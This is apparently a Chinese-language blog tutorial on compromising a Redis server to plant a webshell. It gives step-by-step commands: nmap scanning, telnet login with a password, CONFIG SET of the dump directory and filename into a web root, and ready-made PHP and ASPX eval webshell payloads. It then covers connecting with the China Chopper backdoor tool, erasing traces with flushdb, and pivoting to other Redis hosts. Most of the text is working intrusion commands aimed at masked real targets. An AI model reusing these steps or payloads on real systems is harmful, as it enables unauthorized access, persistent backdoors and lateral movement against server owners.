Redis账号获取webshell实战
1.扫描某目标服务器端口信息
通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图1所示,获取两台开放该端口的服务器。
图1扫描同网段开放该端口的服务器
2.使用telnet登录服务器
使用命令“telnet ip port”命令登录,例如telnet 1**...76 3357,登录后,输入auth和密码进行认证。
3.查看并保存当前的配置信息。
通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。
config get dir
config get dbfilename
4.配置并写入webshell
(1)设置路径
config set dir E:/www/font
(2)设置数据库名称
将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。
config set dbfilename redis.aspx
(3)设置webshell的内容
根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。
set webshell "<?php phpinfo(); ?>"
//php查看信息
set webshell "<?php @eval($_POST['chopper']);?> "
//phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意双引号使用\"
(4)保存写入的内容
save
(5)查看webshell的内容
get webshell
完整过程执行命令如图2所示,每一次命令显示“+OK”表示配置成功。
图2写入webshell
-
测试webshell是否正常
在浏览器中输入对应写入文件的名字,如图3所示进行访问,出现类似:
“REDIS0006?webshell’a@H搀???”则表明正确获取webshell。
图3测试webshell是否正常
6.获取webshell
如图4所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。
图4获取webshell
7.恢复原始设置
(1)恢复dirconfig set dir dirname
(2)恢复dbfilename
config set dbfilename dbfilename
(3)删除webshell
del webshell
(4)刷新数据库
flushdb
8.完整命令总结
telnet 1**.**.**.31 3357
auth ******
config get dir
config get dbfilename
config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a
9.查看redis配置conf文件
通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图5所示,可以看到路径、端口、密码等信息。
图5查看redis
更多攻防内容请欢迎访问本人在csdn上面创造的个人专栏:
《密码安全攻防技术精讲》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983